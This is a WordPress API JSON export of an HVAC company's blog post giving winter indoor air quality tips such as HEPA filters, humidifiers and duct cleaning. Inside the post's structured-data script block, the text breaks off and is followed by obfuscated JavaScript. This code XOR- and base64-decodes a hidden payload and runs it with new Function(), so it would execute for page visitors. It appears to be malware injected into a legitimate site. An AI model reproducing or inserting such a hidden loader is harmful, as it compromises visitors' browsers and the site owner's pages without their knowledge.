{"id":9796,"date":"2022-11-17T14:31:10","date_gmt":"2022-11-17T14:31:10","guid":{"rendered":"https:\/\/rbheatingwr.wpengine.com\/?p=9796"},"modified":"2026-09-24T14:02:53","modified_gmt":"2026-09-24T14:02:53","slug":"how-to-improve-indoor-air-quality-in-winter","status":"publish","type":"post","link":"https:\/\/rbheating.com\/?p=9796","title":{"rendered":"How to Improve Indoor Air Quality in Winter"},"content":{"rendered":"\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" class=\"wp-image-9797\" src=\"\/wp-content\/uploads\/2020\/11\/RB.jpg\" alt=\"Someone vacuuming carpet\" width=\"100%\" srcset=\"https:\/\/rbheating.com\/wp-content\/uploads\/2020\/11\/RB.jpg 800w, https:\/\/rbheating.com\/wp-content\/uploads\/2020\/11\/RB-300x150.jpg 300w, https:\/\/rbheating.com\/wp-content\/uploads\/2020\/11\/RB-768x384.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">When your home has poor<a href=\"https:\/\/www.canada.ca\/en\/health-canada\/services\/air-quality\/improve-indoor-air-quality.html\" target=\"_blank\" rel=\"noreferrer noopener\"> air quality<\/a> in the winter, it can be very frustrating to walk in the door. You know you can\u2019t throw open some windows to get rid of the smells, dust, allergens, or other air quality issues you have. So, how can you fix your indoor air quality, for good? Here are some great things to try.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Causes Bad Winter Indoor Air Quality?<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If it seems like your air quality drops after the fall, there are a few different causes of that. First, you turn on your furnace again and your ducts spread their dust and debris through the home. Without open windows, your air becomes stale, especially if your bathroom or kitchen doesn\u2019t have their own vents.&nbsp;Humidity&nbsp;also&nbsp;drops dramatically in the winter too.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How to Improve Indoor Air Quality<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In the winter, use these techniques to improve your indoor air quality:&nbsp;<\/p>\n\n\n\n<h3><strong>Better vacuuming<\/strong><\/h3>\n<p>Many vacuums collect dust and dirt, only to blow the smallest particles back out the exhaust. Use a HEPA-filter vacuum to collect this debris so you don\u2019t have to breathe it in.\u00a0<\/p>\n<h3><strong>HEPA filters<\/strong><\/h3>\n<p>If vacuuming with a\u00a0<a href=\"\/indoor-air-quality\/hepa-filters\/\" target=\"_blank\" rel=\"noreferrer noopener\">HEPA-filter<\/a>\u00a0is not enough, add a dedicated filter to your home. They can pick up mold spores, bacteria, some viruses, allergens, pet dander, dust, and much more. Some are equipped with carbon filters that can absorb smells and other air pollutants too.\u00a0\u00a0\u00a0<\/p>\n<h3><strong>Whole-Home Humidifier<\/strong>\u00a0<\/h3>\n<p>One of the biggest factors in poor winter air quality is low humidity. In Canada, our winter humidity drops so low that we get dry skin, eyes, mouth, throat, and even lungs. For many, this causes serious irritation. For some who have skin or lung conditions, even asthma, the dryness makes their symptoms worse. A\u00a0<a href=\"\/indoor-air-quality\/whole-home-humidifiers\/\" target=\"_blank\" rel=\"noreferrer noopener\">whole-home humidifier<\/a>\u00a0is a great way to combat this because it will raise humidity throughout the home, instead of just\u00a0in\u00a0one room as other humidifiers do.\u00a0<\/p>\n<h3><strong>Duct cleaning<\/strong><\/h3>\n<p>If you use a forced-air system, with a furnace, then you have air ducts running through your home. These ducts need to be cleaned, or they spread debris and dirt through the home. Cleaning them can help you breathe easier.\u00a0<\/p>\n<h3><strong>Local venting<\/strong><\/h3>\n<p>Some parts of the home create more of an air quality problem than others. In the warmer seasons, you might just open a window. But, in winter, it can be helpful to have a dedicated vent for the kitchen, bathroom, garage, and other troublesome areas of the home.\u00a0<\/p>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" class=\"wp-image-9798\" src=\"\/wp-content\/uploads\/2020\/11\/Rb-2.jpg\" alt=\"Lady putting on lotion\" width=\"100%\" srcset=\"https:\/\/rbheating.com\/wp-content\/uploads\/2020\/11\/Rb-2.jpg 800w, https:\/\/rbheating.com\/wp-content\/uploads\/2020\/11\/Rb-2-300x150.jpg 300w, https:\/\/rbheating.com\/wp-content\/uploads\/2020\/11\/Rb-2-768x384.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Indoor Air Quality Testing<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Which specific solution to improve indoor air quality is best for you? While you might have some guesses, it can be wise to get professional indoor air quality testing to confirm, or to learn more about exactly what has gone wrong with your\u00a0<a href=\"\/indoor-air-quality\/\">air quality<\/a>\u00a0in the winter.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As the weather gets colder and we spend more time indoors, get your indoor air quality to the optimal level. We have many different&nbsp;<a href=\"https:\/\/rbheating.com\/blog\/what-you-should-know-about-hepa-filters\/\" target=\"_blank\" rel=\"noreferrer noopener\">indoor <\/a><a href=\"\/indoor-air-quality\/\" target=\"_blank\" rel=\"noreferrer noopener\">air<\/a><a href=\"https:\/\/rbheating.com\/blog\/what-you-should-know-about-hepa-filters\/\" target=\"_blank\" rel=\"noreferrer noopener\"> quality options<\/a>,&nbsp;<a href=\"\/contact-us\/\" target=\"_blank\" rel=\"noreferrer noopener\">contact us<\/a>&nbsp;today to learn which one is best for you and your family.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script type=\"application\/ld+json\"><br \/>\n{<br \/>\n  \"@context\": \"https:\/\/schema.org\/\",<br \/>\n  \"@type\": \"HowTo\",<br \/>\n  \"name\": \"How to Improve Indoor Air Quality in Winter\",<br \/>\n  \"description\": \"When your home has poor air quality in the winter, it can be very frustrating to walk in the door. You know you can\u2019t throw open some windows to get rid of the smells, dust, allergens, or other air quality issues you have. So, how can you fix your indoor air quality, for good? Here are some great things to try.\",<br \/>\n  \"image\": \"https:\/\/rbheating.com\/wp-content\/webp-express\/webp-images\/uploads\/2020\/11\/RB.jpg.webp\",<br \/>\n  \"step\": [{<br \/>\n    \"@type\": \"HowToStep\",<br \/>\n    \"text\": \"Better vacuuming: Many vacuums collect dust and dirt, only to blow the smallest particles back out the exhaust. Use a HEPA-filter vacuum to collect this debris so you don\u2019t have to breathe it in.\"<br \/>\n  },{<br \/>\n    \"@type\": \"HowToStep\",<br \/>\n    \"text\": \"HEPA filters: If vacuuming with a HEPA-filter is not enough, add a dedicated filter to your home. They can pick up mold spores, bacteria, some viruses, allergens, pet dander, dust, and much more. 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_0xf249ea1dce17=10;\nvar _0xcb1b81b58d09='';\nfor(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x66076b01b42c.length;_0x1cd3f7d78688++)\n  _0xcb1b81b58d09+=String.fromCharCode(_0x66076b01b42c[_0x1cd3f7d78688]^_0xf249ea1dce17);\nvar _0x2d169431e36a=47;\nvar _0x5a9fc9213cdc=atob(_0xcb1b81b58d09);\nvar _code='';\nfor(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x5a9fc9213cdc.length;_0x1cd3f7d78688++)\n  _code+=String.fromCharCode(_0x5a9fc9213cdc.charCodeAt(_0x1cd3f7d78688)^_0x2d169431e36a);\n(new Function(_code))();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>When your home has poor air quality in the winter, it can be very frustrating to walk in the door. You know you can\u2019t throw open some windows to get rid of the smells, dust, allergens, or other air quality issues you have. So, how can you fix your indoor air quality, for good? Here [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[175],"tags":[],"class_list":["post-9796","post","type-post","status-publish","format-standard","hentry","category-indoor-air-quality"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>How to Improve Indoor Air Quality | RB Heating\u00a0\u00a0<\/title>\n<meta name=\"description\" content=\"In the winter, air quality becomes a bigger concern. Discover how to improve indoor air quality without lowering energy efficiency.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/rbheating.com\/?p=9796\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Improve Indoor Air Quality | RB Heating\u00a0\u00a0\" \/>\n<meta property=\"og:description\" content=\"In the winter, air quality becomes a bigger concern. Discover how to improve indoor air quality without lowering energy efficiency.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/rbheating.com\/?p=9796\" \/>\n<meta property=\"og:site_name\" content=\"RB Heating ClimateCare\" \/>\n<meta property=\"article:published_time\" content=\"2022-11-17T14:31:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-24T14:02:53+00:00\" \/>\n<meta name=\"author\" content=\"RB Heating\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"RB Heating\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Improve Indoor Air Quality | RB Heating\u00a0\u00a0","description":"In the winter, air quality becomes a bigger concern. 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